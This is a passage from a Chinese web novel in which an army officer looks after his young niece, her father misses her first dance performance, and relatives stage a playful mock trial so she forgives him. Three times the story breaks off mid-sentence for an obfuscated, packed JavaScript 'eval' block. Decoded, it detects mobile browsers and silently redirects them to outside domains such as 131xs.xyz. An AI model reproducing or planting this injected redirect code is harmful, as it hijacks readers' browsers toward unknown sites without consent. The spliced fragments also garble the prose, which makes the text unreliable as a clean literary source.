;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462317|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊呼,先是在蒋焰摆手示意先走后,立马敬了个礼,等人走远了,才对一边的人说道:“刚刚首长是开了个玩笑?对吧?” 一边的年轻将士也难免惊讶,面露疑色:“可能是吧,我还是头一次见首长这么接地气的一面。” 那军官又回头看了眼,认同地点点头:“我也是。” 回了家,蒋向恒正和蒋婧在客厅拆着李畅送来的东西,两兄妹你一嘴我一嘴的,整个空间都是他们喧闹的声音。 听到关门声,他们同时转过来。 “二伯,你回来了!”蒋婧手上还抓着玩具,小跑着扑过来。 “哎,慢点跑。”蒋焰抱起她颠了颠,询问她今日的情况:“训练累不累?” “累,我都跳了一整天。” “这么辛苦,那二伯晚上给你弄个热水泡泡脚,放松放松。” “好~二伯,这个小鸭子,是你让李畅叔叔买给我的吗?” 蒋焰顾左右而言他,绕开问题说道:“这是不是你昨天问我喜不喜欢的小鸭子?” “对,就是这个小鸭子!我家里也有,但是我有更多颜色的,我还有小海豚,小水母,还有海绵宝宝和派大星。我洗澡的时候,就把它们放到浴缸里,带它们坐船,我还会给他们插一个遮阳伞,摆一个小桌子,这样它们在我的浴缸里度假的时候就能很开心。” 蒋焰眼神深邃平和,专注地看着小侄女听她讲,给人一种被重视的感受。他认真地给出评价:“我想也是,它们一定很开心。” 蒋向恒塞了口李畅买的零食,有气无力地说道:“我爹,你终于回来了!我快要饿死了,我差点要先带着婧婧去食堂吃,不等你了。” “不去食堂,我在家给你们做。” “真的假的?你居然连做两天饭。你不是说了,大丈夫要志在四方,不囿于庖厨。” 蒋焰面容平静地瞅了他一眼,目光像一口深潭,然后波澜不惊地指挥:“我也说了,‘吉人辞寡,躁人辞多’。去把萝卜洗了。” “哦,来了。” 蒋焰和蒋向恒在厨房里忙活着,蒋婧坐在餐桌前安静地自己玩拼图,两只腿一晃一晃地,嘴里还哼着歌,看起来很是沉浸。 蒋焰收回视线,笑意从眼角蔓延而出。 * 吃过晚饭,蒋焰陪着两个孩子玩了会儿玩具后,就给蒋婧打了泡脚水。 蒋婧把新得到的小鸭子玩具放到水里,用脚丫子拨着水让它们在桶里漫游,嘴里时不时念念有词地说些给小鸭子们编导的台词。 蒋焰蹲下来,动作轻柔地给她按摩小腿,帮助她缓解肌肉疼痛。洗完澡出来的蒋向恒见了,立马吹干头发,过来加入,给妹妹按摩起胳膊来。 蒋婧咯吱咯吱地笑,说道:“我不用按摩胳膊,向恒哥哥。我只有脚有一点点酸。” “现在好一点了吗?还有哪里酸?” 蒋婧俯身用手扒拉起水,玩着小鸭子,说道:“二伯我好了,你给我按摩是很管用的,你都是世界上最好的二伯!” 他极为受用,但又及时地抿住要上扬的嘴角,帮她擦干脚上的水珠。 “好了,二伯去把水倒了,你和哥哥先上床躺好。” 蒋向恒立正敬礼:“好的首长!” 蒋婧短暂地瞟了哥哥一眼,当刻鹦鹉学舌,站在沙发上立正敬礼:“好的首长!” 蒋焰总是紧抿的嘴角还是投降,柔和地弯了起来。 在床上和哥哥玩了一会儿开枪就装倒下的游戏后,蒋婧看到二伯手里拿着些花花绿绿的书,跪扑下来,眼睛亮晶晶地说道:“这是我们今天要听的故事吗?” “对。躺好,把被子盖好。” 见她又乖乖像昨天那样,双手交叠正躺好,蒋焰莞尔,说道:“今天首长允许你们自由睡姿,不用一个晚上都一动不动。” “好耶!谢谢首长!”蒋婧活灵活用地欢呼了一声,笑靥甜美地钻进被子里,又钻出来,把自己裹成毛毛虫,斜滚过来,头倚在二伯的胳膊肘旁边,一副准备就绪听故事的姿态。 蒋向恒轻咳了一声,也不动声色地扯了自己的被子,挪动过来,学着妹妹的样子靠在了爸爸的胳膊上。 “向恒哥哥,你离太远了,看不到书上的画的。”她又把自己地滚到了另一边,挨住二伯,说道:“这样你一边,我一边,我们就都能看到了。” 两个孩子依偎在蒋焰身旁,听他用没有感情起伏的汇报式语调念着故事。 蒋婧却始终听得入迷,黏糊糊地抱着二伯对故事里的情节问东问西,直到讲到第三个故事的时候,才歇了下来,沉沉闭上了眼。 蒋向恒鲜少这样和爸爸近距离接触,屏声凝气,只是沉默地听着,心里觉得这一刻很幸福。 要是婧婧不是堂妹,是亲妹妹就好了。他忽然涌现出这样的想法。 他们一定会因为她,每天都欢声笑语,心的距离,靠得很近很近。 36.第36章 没限制睡姿,第二天蒋婧顶着个翘毛的发型醒过来,在镜子前拨弄了好久,很无助地看向蒋焰:“二伯,我的头发不听话了怎么办?” 今天可是要上台表演的,要是这样头发乱乱地上去,她会哭的。 蒋焰弄了几次都没把小呆毛和翘尾压下去,眉头都深深皱出一个“川”字。另一边李畅还在门口实在没招地提示说道:“首长,再不送她过去,要赶不上了。” 蒋婧听了,急急忙忙地抱起自己的小书包,自己对着镜子又压了几下头发,可头发还是像个炸开的海胆球一样。她耷拉着眼睛自个儿委屈地“唔”了一声,小叹一口气:“没关系的,头发乱乱也没关系的。” 蒋焰看着她,内心不免自责。学习如何照顾一个小女娃这件事上,他实在不合格,还有太多需要加强训练的地方。 她和二伯挥挥手再见,跑过去牵住李畅,要走的时候,又突然转过来看向蒋焰,鼻子一酸地哽声道:“还是有关系....” 迟到和乱糟糟出场哪一个更糟糕,她选不出来,但是这样到了彩排现场,要是被其他小朋友笑了怎么办。 蒋焰沉声道:“不怕,二伯带你去理发店弄一弄。” 李畅汗流浃背:“首长,真的要来不及了。” “你联系一下她的老师,掌握好那边的上台顺序,把情况说明。告诉她最多晚到15分钟,多半不会太影响。”他声音不高,但具有抚慰人心、令人信服的力量。 李畅得令离开,去发车准备。 蒋焰单手托抱了蒋婧,直奔家属区的理发店。 理发师是个年纪半百左右的老技师,头一次见到长得这么可爱的小孩,忍不住一边用直板夹给她顺着头发,一边慢悠悠地唠着家常。 “小朋友,你叫什么名字呀?” 蒋婧盯着镜子,抿着嘴巴沉默,眼睛求助又依赖地看向二伯,伸手去握住了他的大拇指。 “李师傅,您先快速帮她打理一下,小孩待会还要上课,快来不及了。” “得嘞得嘞!你这发型啊,就是容易翘边,要解决也很简单的,洒点水打湿发尾,用直板夹或者卷发棒,这样抚平整,喏,是不是就好了?” 蒋焰仿佛在观摩什么重要演习场景似的,全神贯注地将理发师所有动作一丝不苟地记下来,说道:“李师傅,你这套工具能给我说一说具体名字吗,我打算购置一套。” 李师傅:“你要啊,我店里就有卖,待会就可以给你拿,成本价,包划算。” “行,给我拿一套。” 两侧的头发又恢复了圆巧拢到脸边的弧度,发丝柔亮直顺,让她看起来格外的乖萌。 蒋婧满意地偷偷看着镜子一笑,跳下椅子牵住蒋焰,声音敞亮:“二伯,现在我可以走了!” “嗯,走吧。谢谢您李师傅。” 蒋婧被二伯抱起来,欲言又止,脸上犹犹豫豫的。蒋焰见了,耐心地停住。 顿了片刻,小丫头才像做了很大的心理搏斗和准备前摇似的,糯生生地小声说道:“谢谢你,李师傅。” 李师傅连忙抬头,笑呵呵地说道:“哎哎哎,不客气啊,下次再来!” * 蒋焰把小侄女抱上车,再三检查好安全带,手撑在车门口俯身嘱咐道:“排练休息的时候,记得提醒妹妹喝水。” “我知道的。”蒋向恒说道。 今天全天彩排,老师们在群里说了,不限制家长们陪同。蒋焰工作无法脱身,派了李畅随身跟着,又把在家没事的蒋向恒同样打发过去。 “有任何问题,及时联系。”蒋焰又对李畅说道。 “首长放心,保证完成任务。” 蒋婧透过车窗看向蒋焰,挥挥手:“拜拜二伯,晚上见~” 蒋焰同她挥挥手,再次叮咛:“晚上见。累了就和老师打报告,不要硬撑,知道吗?” “知道啦首长二伯!” * 踩着点抢在了集合时间的最后一分钟到达现场,蒋向恒牵着蒋婧跟着大部队等候彩排。 整个舞蹈队伍里,蒋婧是年纪最小的。对于那些比她个子高、舞跳的比她好的姐姐们,她总是带了一些艳羡钦佩却从来不敢上前说话的心思。 要是有人主动来和她交谈,蒋婧也只会抱着自己的水壶,眼神躲闪。别人要是只说些感叹语,她就点头;要是问些什么,她就像发电报一样,挤出几句寥落的话语。 但是蒋向恒不一样,他能言善道、舌灿莲花,不光是和孩子们,还是和大人们,总能和人聊出火花来。 “小妹妹,你多大了?属什么的呀?”一个奶奶问道。 蒋婧摆出鸡爪造型的食指、中指和无名指,小声地回:“属兔。” “这么小啊,我家这个属猪的,你要叫姐姐的。” 蒋婧瞄了一眼高了她快一个个头的姐姐,没有说话。 “你这小丫头,怎么不说话哩?这样可不礼貌。”那奶奶无心说道,又转向蒋向恒,问道: “那你呢,小伙子,长这么高,你多大了?” “我11岁了,阿姨。你们家这小孩应该是上二年级,我猜的没错吧?我今年已经五年级了。” “小哥哥,上五年级是什么感觉?”头发盘成花苞头的小女孩轻声问道。 “嗐,就那样呗,我觉得和二年级也没什么区别。” “那你们学的东西是不是很难?” “我觉得还行吧,对我没什么难度。” “你学习一定很好吧小哥哥,我因为经常要学跳舞,学习上都有些学不懂。” 他们相谈甚欢,蒋婧站在两人中间,仰着头试图去理解他们谈论的话题,因为不知道他们在说什么而失落地噘起嘴,转身跟着招手让她过去的老师去换衣服了。 换好演出服过来,蒋向恒还在和那个小女孩聊着天,蒋婧顾自跺了跺脚,移开目光,由着化妆师拉过她,用儿童化妆品在脸上涂涂抹抹。 她柔软的头发堆在肩头,睫毛又长又密,扑闪间露出两颗黑葡萄似的、带着懵懂光芒的大眼睛。一身蓬松的云朵般的白纱裙,靓眼得分外夺目,吸引了不少人的视线。 蒋向恒仍然在聊着,眼神却分心地看向妹妹。 没一会儿,蒋向恒就跑了过来,颇有兴趣地看着她上妆。 “婧婧,你穿这个真好看。” “你化了妆,感觉像个年画娃娃。” “我觉得你不化妆也好看。你的睫毛好长。” “你怎么不理我?婧婧?” 蒋婧给了他幽怨的一个眼神,闷闷不乐地说道:“你和那个姐姐说话,我就有点不高兴。” 蒋向恒猛地蹲下来,平视她,着急地说道:“你怎么不高兴了,哥哥错了,你别不高兴。” 蒋婧稍显呆愣,眨眨眼,像是没料到他道歉可以这么丝滑。 蒋向恒还在思考着原因,自我反省道:“是不是因为我和她说话,冷落你了,你就不高兴?” 蒋婧似懂非懂地点点头,说道:“我有一点不高兴,因为我都没有上五年级。” “啊?”蒋向恒摸不着头脑,笑道:“没事啊,你总会有那么一天成为一个上五年级的人的。” “可是你应该,因为我和别人说话而不高兴,而不是因为你没上五年级不高兴。”蒋向恒说道,伸出手和她拉钩,向她承诺道:“你别不高兴,婧婧,我答应你,我以后都不会因为和别人说话就冷落你。” “刚刚那个小女孩太自来熟了,我不想让她叫我哥哥的,但是我爹说了,做人得学会给别人适当留点面子,我就没说什么。下次我不会再这么爱给人留面子了。我只想你一个人当我的妹妹,叫我哥哥。” “好吧。”蒋婧勾勾他的小拇指,用大拇指和他的大拇指盖章,梨涡浅浅地笑了一笑。 蒋向恒也跟着笑,忍不住把她整个抱起来转了转,说道:“婧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16468465|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婧,你可爱得好像一个洋娃娃。” 最终候场的时候,这句话也被其他人表述了一遍。 “小妹妹,你简直是真人版的洋娃娃,长得实在太水灵了,阿姨此前在舞蹈学校就经常忍不住看你。”旁边坐椅子上的卷发阿姨凑过来说道,拿出相机对准她,想给她拍照。 蒋婧躲开了卷发阿姨想要碰自己肩膀的手,背过去,沉默着低头去看自己的脚尖。 蒋向恒连忙出来挡住妹妹,说道:“阿姨,虽然我妹妹长得很好看,但是请您不要随便拍照。” 卷发阿姨讪讪地说道:“我这不是实在觉得她太好看了嘛。” “那也是因为她父母颜值高,她妈妈也漂亮得像个大明星似的,爸爸也是又高又有气质,来接孩子的时候,回回都是把我们这些人搞的有些自残形愧。你说同样是人到三十,怎么人家就看起来这么年轻貌美?”又有位妈妈在说话。 蒋向恒作出仔细观察的神态,对说话的那位妈妈说道:“阿姨,您这话说的太没有可信度了,您也长得很好看,您不说,我还以为您才十八岁呢。” 那位妈妈喜笑颜开,笑眯了眼:“哎哟,谢谢你啊小帅哥,其实阿姨平时也不爱保养,就靠天生的那些特质挺到现在,以后啊,你们这些小年轻还是要多保养皮肤,才能显得青春。” “不过啊,小朋友,你家爸爸妈妈今天怎么没来呢?就让你哥哥陪你,他们也放心?” “估计是工作忙,没时间。” “那我们谁不是有工作,这养孩子真的是没办法,两个人都工作忙,总得有一个人要牺牲时间来陪,两个人都不愿意,总是会有矛盾发生的。” “可不是吗,我们家孩子班上就有个同学家长,两夫妻天天因为谁去接送孩子吵架。” “我是不理解的,自己的孩子,总得花时间陪不是?” “是啊。” “小朋友,你爸爸妈妈感情好不好啊?我看他们俩郎才女貌的,还以为感情不错,怎么今天一个人都没来啊?我还可期待看你妈妈的穿搭呢,每次接孩子的时候遇到都忍不住去偷看几眼。”那阿姨捂着嘴,不好意思地笑起来。 见蒋婧一直执著地当个鹌鹑,问什么都不搭理,卷头发阿姨不由得拿出老生常谈的腔调说道:“小姑娘太内向了,估计是家里人陪的少,不关心,才让人这样扭捏不合群的。” “我也是说,这小孩子啊,还是得养的开朗活泼些、大大方方的,才讨人喜欢。哎你叫啥,向恒是吧?我觉得你就挺能聊的。” 蒋向恒无话可回地敷衍赔了个笑,有时候觉得自己家教太好了也是很受累。 卷头发阿姨拿着花环自发地给忙不过的化妆师帮忙,牵了蒋婧要给她别上花环。蒋婧抗拒地挣开,忽然气鼓鼓地点开了手表,拨过去爸爸的电话。 “怎么了?给谁打电话呢这是,你先让阿姨帮你把花环别好,马上要上台了,要来不及了。” 忙音响了一阵,无人接听自动挂断。 蒋婧胸口起伏了一个来回,又拨了妈妈的电话,盯着卷头发阿姨,伸出手,让她去听语音电话免提的声音。 又等了一个忙音,电话没有被接起。 那卷头发阿姨看到手表上的备注,注视着蒋婧气鼓鼓的样子,有些怜爱地说道:“小可怜,爸爸妈妈都不陪你,你是不是太难过了。” “不是,我爸爸说了他会来的。” “什么时候?” 蒋婧堵住声音,哼了一声,坚定地说:“就是会来的。我们约好要在我上台的时候对暗号的。” “可是你看看其他小孩子,他们的爸爸妈妈都是这个时候就已经过来陪了。”那个卷头发阿姨蹲下来,想要抚摸一下她的头,被她躲开了。 蒋婧脑袋里想不出来话反驳,把自己气到,又急又委屈地跺脚。 “就是会来的。”她低头说了一句,又抬起头看着人强调了一句:“就是会来的!” 37.第37章 即使推掉了后续一系列的应酬场合,当天的公司对外供应商大会仍然需要蒋源出席坐镇不少场合。 等到马不停蹄地赶到湘南的时候,蒋源罕见地出现了焦头烂额的急色。 看着车窗外堵得水泄不通的进城道,他再次看了眼腕表,很重地吐了一口气。 “距离目的地大概还有多久?” 戴礼同样倍感压力,脸上尽是无可奈何:“至少还需要一个半小时,总裁。” 蒋源眉心一跳。飞行途中蒋婧给他打了个电话,没能接到,下飞机他连续拨回去几次,又没能接通。 想到会错过闺女第一次登台演出,蒋源恨不得长出翅膀立马飞过去。 他默默在心里催着堵塞的车流赶快疏通,在终于缓慢驶入可通行畅道后,连忙说道:“抓紧。” “好的,总裁。”司机当仁不让地说道。 * 进入最终候场厅前,家长就不允许再跟着了。蒋向恒蹲下来,摸摸她的小下巴,说道:“婧婧,你别不开心了,马上要上台了,要记得带点笑容。” 李畅背着她的小书包,也说道:“是啊,蒋婧小同志,我们等会都会在观众席看你的,你要好好表现才是。” 蒋婧点点头,牵住蒋向恒的手,不放心地说道:“向恒哥哥,等我跳完了,你一定要赶快来找我。” 被她依赖的样子激发起疼惜之情,蒋向恒一字一顿尤为肯定地说道:“你们这节目一结束,我就冲到后台来,你就站在我们刚刚约定的地方,不要乱动,我很快就来找你。” “这是你第一次上台跳舞,所以是不是要加油、努力?”看她还是没有精神,蒋向恒阳光灿烂地鼓舞道。 “加油!努力!”蒋婧跳起来伸出手和他击掌,心里原本失落的情绪稍稍褪去。 “等你跳完了,我们就回家吃大餐庆祝!回去的时候,哥哥带你去超市,你想买多少糖、买多少冰淇淋都可以,我偷偷不告诉大人。” 她已经很久没有被允许吃冰淇淋了,闻言眼睛一亮,伸出小拇指。 蒋向恒弯起眼睛,勾住她的小拇指,承诺到:“拉钩,不骗你。” 排练了将近大半年的舞蹈,上台的这三分钟内,凭着反复练就的肌肉记忆,不大会出现失误的状况。 和彩排时不一样的感受,大概是漆黑一片的观众席上,能在目光偶尔扫过去时,看到许许多多的面孔,听到很多喝彩和掌声。 蒋婧拿着表演的花束,始终暗自提醒自己要保持微笑,要加油努力,跳着碎步翩翩行到舞台最前处,做自己的独立展示动作。 然后她就听到了叫她名字的熟悉的声音,可惜台下太黑了,她没能停留太久,和着节奏结束自己的部分,又退回到队伍中。 最后谢场时,她才有了空隙循着声音去找,在弥漫的灯光中,看到了坐在第二排的爷爷、奶奶、二伯、二伯母、斐轩哥哥、三伯、三伯母、阿熠哥哥、阿澈哥哥、斐轩哥哥,还有她的哥哥! 惊喜突然降临,她露出了今天晚上最真情实意的一个笑容,激动地朝他们挥挥手。 老师见她久久没动,连忙在幕布后唤她:“蒋婧,下场了,快过来!” 她这才如梦方醒,跑出台前。 * 蒋源全力冲刺到达剧院,上气不接下气地找到预留的位置,一眼就看到了被爷爷抱着的闺女。 他直道不妙,坐下来,气还未喘匀,就朝着闺女伸出手臂:“婧儿,爸爸来了,过来给爸爸抱抱。” 她却是生气地扭开头,很大声地“哼”了一下。 蒋礼雄低头去看孙女,又看了眼儿子,会心一笑,口谐辞给道:“爸爸迟到了,我们不理他,爷爷支持咱婧丫头生气,就该让爸爸意识到自己只顾着工作失约的严重错误,我们婧丫头可是最期待爸爸来了,是不是?” 蒋婧抱着双手,只留给一个后脑勺,点点头:“是!” “婧丫你说说,要怎么样,才能让爸爸将功补过,得到婧丫的原谅?” 小丫头好一会儿没有说话,小嘴撅着,都快能挂个酱油瓶儿了。她清澈明亮的眼睛盯着某个固定的点,很快就因为委屈溢出水光,无声地滑落出泪珠。 将这一幕尽收眼底的蒋彬和常蕙朝蒋源打着眼神,示意他赶快接过去哄。 蒋源收到暗示,直接从爸爸那把闺女抱了过来,不顾她还在气头上的抗拒,密密实实地把她抱紧,低声反反复复地说道:“爸爸错了,婧儿,爸爸错了.....” “你说了你会来的!” 见她哭得这样伤心,蒋源心如刀割,恨不得给自己两巴掌,嘴上却只能无力地说道:“我知道,爸爸没能守约,爸爸心里特别后悔,特别愧疚,你能不能原谅爸爸?” “不要不要,你已经失去我了!我不要再和你做好朋友了!”蒋婧很是反感地从爸爸身上挣脱下来,呜咽着扑进了爷爷的怀里。 蒋礼雄连忙抱着孙女,可劲儿地哄着,一边责怪地看了眼自家儿子,悄声说道:“你先等着吧,小家伙气头上可听不进去你说话。” 一向自诩泰山崩前而色不变的蒋源这会儿是当真顿感无措,对失去女儿的信任这件事产生了极大的忧惧。 就这样闷里闷气地回到二伯家,蒋婧仍旧只把爸爸当做空气,堵着气不搭理。 一大家子都过来,蒋焰光是详细地填写关系事由向单位领导和警卫部门进行特别说明,就花了不少时间。好在顺利获得批复,蒋焰便请求了炊事员的帮忙,特意从食堂带了些,又自己在家做了不少,弄出了两桌简单的家常菜。 大人们在餐厅坐了一桌,孩子们在客厅席地坐了一桌。 蒋婧抱了一桶冰淇淋坐在地毯上,一边看着电视,一边吃得忘乎所以。 蒋源过来给孩子们调好火锅的蘸料,刻意晃荡在闺女前面,说道:“婧儿,你不能吃辣,爸爸给你加了特别多的芝麻花生酱,你来尝尝这个酱,蘸小土豆吃可好吃了!” “先把冰淇淋放回冰箱里,可不可以?我们先吃饭。” 蒋婧撇开脸,“哼”了一声,抱紧冰淇淋桶。 “我不和你说话,这里是小孩吃饭的地方,不欢迎大人的。” 何时尝过这样被闺女明晃晃排斥的滋味,蒋源心里一阵发苦,凑近她想去抱抱,结果蒋婧直接就起身跑开了。 蒋源叹了口气,招手让她回来:“爸爸不吵你,你乖乖回来坐下吃饭,爸爸回大人吃饭的地方去了。” 他余光留意着蒋婧的动静,给蒋怀谦使了个眼色,返回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16482178|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了餐厅。 蒋怀谦看向妹妹,端起刚刚二伯做好送来的红糖糍耙朝她诱惑道:“婧儿,你喜欢的金黄小条蘸黑黑糖,快来吃。” 她又抱着冰淇淋桶回来在哥哥旁边坐下。 蒋怀谦看那冰淇淋桶里已经被舀了一大块,担心地说道:“你吃太多了冰淇淋了,不能再吃了,给我。” 蒋婧可怜兮兮地仰头,搬出救兵:“向恒哥哥说了,我今天想吃多少都可以。” 收到一记眼风,蒋向恒灰溜溜地抬手抹了把后脑勺,看着他说道:“我是为了鼓励她上台好好表现。” 蒋怀谦看向妹妹,仍旧平和温静地开口,话语间却是不容置疑的要求:“那是他说的,我没有同意。现在把冰淇淋桶给我,你该吃饭了。” 她抿抿嘴,还是乖乖地把冰淇淋桶上交了。 远远观察着的蒋源和儿子默契地对上视线,放心地点了点头。 简单地聚了聚,吃完饭就要一起返回北城。 蒋源要来帮闺女收拾行李箱,又被她拒之门外。 他扣着门不让她关上,低头说道:“你要怎么样才能原谅爸爸?” “怎么样都不原谅!” “可是你自己不会收拾行李箱,你先让爸爸帮你把行李箱收好,我们回家再说好不好?” “我会收!你走开,不要你!” “你不要我,谁带你回家。” “我不和你回家,不想和你一起住。” “婧儿,你这样爸爸会很伤心。” 蒋婧抬头,自己先哭的泪流满面。 “你是坏爸爸,你说话不算话,我就是不要再和你天下第一好了!” 她使了全身的力气要去关卧室门,蒋源怕她夹到手,连忙松了力道。门哐当一下被合上,从里面传来反锁的声音。 “婧儿!婧儿?”他拍了几下门,很是无助地抹了下额头。 一众人在客厅看戏似的,神色各异。 蒋熠幽幽地评价道:“四叔,你已经触发终极生气警戒了。” 他虚心求教:“什么意思?” 蒋熠很有心得体会地传授自己的经验:“如果她只是一级生气,等她忘了就会和你说话了;如果是二级生气,道歉态度好她也会理你;如果是三级生气,就需要送点吃的喝的玩的拯救一下;如果是四级生气,她就会好多天好多天不理你,一直生气。” 常蕙听笑了,问道:“按你这说法,你没少惹阿婧生气啊!” 蒋熠皱起眉头,连带着眼睛都微微眯了些,自我辩驳道:“那还不是她老不和我玩!” 第一次这样惹到女儿生气就是终极生气,蒋源很是难受,他更在意现下的处理方式,询问道:“那要是她一直生气,要怎么让她消气?” 蒋熠:“就一直道歉呗,我上次惹她不理我,每天上幼儿园的时候都和她说对不起,然后就好了。” 那边蒋焰和蒋怀谦都在门口试了哄她出来,都无果。 蒋焰说道:“我去拿备用钥匙把门打开。” 蒋彬连忙阻止道:“哎别,这样得更生气,小孩子心思敏感,不能硬来。” “那怎么办?都在里面哭成那样了。” 蒋彬心里也急,思来想去,来了个主意。 38.第38章 蒋婧抱腿蹲在门后,一个人专心致志地伤心流泪。 哭累了,门外一阵霹雳乓啷的喧闹声,她又提起了好奇心竖起耳朵去听。 “咳咳——!本庭接到举报,此地有人涉嫌‘严重缺席罪’,并引发‘伤心泪流’恶性事件。现在,休想私了!”是蒋熠和他的机关枪咔咔响的声音。 紧接者,她听到三伯的声音那样激昂,满是斥责的意味:“被告人,蒋源!你可知罪?我们家阿婧宝宝那么可爱乖巧一个崽崽,你却执意缺席崽崽登台演出,辜负崽崽期待,让她这般失望!这究竟是人性的扭曲还是道德的沦丧?” 她跟着委屈地点点头,鼻头又酸酸地催着眼泪往外掉。 “你从实招来!到底因何缘故犯下如此错事!” 爸爸的声音听起来一下子苍老虚弱了不少:“法官在上,请容许我用片刻时间进行忏悔。我由于工作繁忙,没能调整好行程安排,错过了我的女儿——婧儿大人的人生首次登台演出,我追悔万分!后悔莫及!罪该万死!罪不可恕!我是世界上最坏的爸爸,我不求刑罚的缓施,只求能得到婧儿大人的原谅!” 蒋彬清了清嗓子,庄严宣判:“这番情境下,如你所见,婧儿大人关上了谅解的大门,你既然得不到婧儿大人的原谅,就要接受挨打的惩罚!在这个世界上,所有的坏爸爸,都要受到我这个法官的严格处罚!阿熠小子,阿澈小子,行刑!” 蒋婧听到要打爸爸,整个人呈“大”字趴在门板上,急切地去听门外的动静。 “啪——”“啪——”的声响此起彼伏,像是某种很坚硬的东西打到了身体上传出的响声。 她又听到了其他人的求情和反应。 常蕙:“苍天啊,我不忍心看到这样惨烈的情形,一位失去女儿信任的父亲,被鞭打得皮开肉绽、即将昏迷倒下!” 蒋向恒:“法官啊!你手下留情啊!我四叔体质很差的,你这样打下去,他马上就要晕倒了!” 宋玉春:“我的儿啊,你何苦啊,早知今日,何必当初?我看你痛得都要哭出来了,你求一求婧丫,只要她能原谅你,你就不用再这么痛了!” 蒋源咳了几声,说道:“不,妈妈,是我的错,是我伤了婧儿的心,我的心活该这样痛。” 虽然生气,但是他们也不能这样打爸爸呀! 蒋婧左扭右扭着门把,怎么也开不了门,急的像是热锅上的蚂蚁。 不过很快,门锁就忽然从外面被打开了。 蒋婧推开门,急的跳起来,说道:“二伯,我爸爸咧?” 二伯面色沉痛地指了指客厅。 蒋婧跑过去,一下子呆住了。 只见四伯披着一件大红色的被单,手里举着梅花板手,站在椅子上,仰头挺胸,一副高傲而又神气的模样站在客厅最前方。 在他的身侧,蒋熠拿了一个苍蝇拍,蒋澈拿了一条麻绳,作为左右护法辅助审判。 爸爸跪在地毯下,低着头,身上被贴上了“让婧儿大人伤心的罪犯”几个大字,正在接受蒋熠和蒋澈两个人轮番的抽打,捂住胸口,一脸难受的模样。 “不要不要,不要打我爸爸!”她扑过去抱住了爸爸的脖子,泪光闪闪地看向最高的那个人。 “三伯,不要打我爸爸。” 蒋彬维持着傲慢的人设,施舍一般给了她一个眼神,不似平日的温和,而是用醇厚严酷的语调说道:“我现在不是你的四伯,我是蒋氏家族特封的大法官,伍德图斯瑞撇法官。” 蒋婧全身心地投入到情境中,脸上尽是信以为真的恳切,眨着双澄澈无害的眼睛,双手合十,崇拜地说道:“伍德图图法官,你可以不要打我爸爸吗?” 蒋彬抚了一把身后的被单,眼中闪过一丝笑意,但语气依旧严厉:“婧儿大人,你是此次案件的受害人,是具有最高话语权的人,只要你能通过给坏爸爸三条惩罚的方式原谅他,本法官就可以让你们私了,不横加刑罚。” 蒋婧搂紧了爸爸,奶声奶气地说道:“可是我不想惩罚爸爸,我愿意原谅他。” 一阵暖意和涩意同时涌现出来,蒋源眼睛微微发酸,他更紧地回抱住了女儿小小的身体。 “本法官知道你心地善良,想不出惩罚,特意祝你一臂之力。”蒋彬一个抬手制止了她的请求,对一边的蒋怀谦道:“怀谦书记员,请你宣读一下本案的判决。” 蒋怀谦摊开一张纸,徐徐诵读道:“鉴于被告人蒋源认罪态度良好,且有受害人婧儿大人积极为其求情。本庭现判决如下——” “一,罚被告人,于接下来一个月,每周都要陪同婧儿大人去她想要玩乐的地方,满足她所有玩乐的需求,不得推辞!” “二,判被告人,携带受害人前往礼物店,用一份婧儿大人喜欢的礼物,初步抚慰其受伤的心灵!” “三,责令被告人,在未来的任何时刻,都不得再出现缺席婧儿大人演出观看!” “以上判决,立即执行!” 蒋婧听得连连点头,干脆举起手,高兴地跳了起来:“伍德图图法官,我想去游乐场和海族馆!想要买一个胖胖的小海豚抱抱玩偶!” “满足!必须满足!”蒋彬激情给予回复,又对蒋源说道:“被告人,在婧儿大人的宽宏大量下,你已经不用再接受挨打的惩罚了,还不谢恩?” 蒋源如蒙大赦,鞠了个大礼,大声回应:“谢法官大人开恩!” 蒋婧也学着鞠躬,娇娇地喊:“谢伯伯恩!” 蒋彬满意地看着两父女重归于好,从椅子上下来,装模作样地转了一个圈,把被单脱下来。 “好了,阿婧宝宝,现在我又变回你的三伯了,快来和三伯抱一个!” 蒋婧一脸好奇地过去抱住他,揪了揪他的衣服。 蒋彬揉揉她的脑袋,哄道:“阿婧宝宝,以后要是爸爸妈妈还惹你生气,你就来找三伯,三伯永远是最厉害的大法官,保准能使得让阿婧宝宝心里难过的人都受到公平的惩罚。” “所以你可不能再把自己关在房间里了,知道吗?那样你就会错过大法官的审判好戏了。” 蒋婧被唬得一愣一愣的,乖乖地点头复诵:“我知道了,只要我生气的时候,就这样许一个愿,说,请把我的三伯变成伍德图图大法官,你就会变身,然后帮我!” “没错啦,就是这样,三伯最会当你的伍德图图大法官了。” 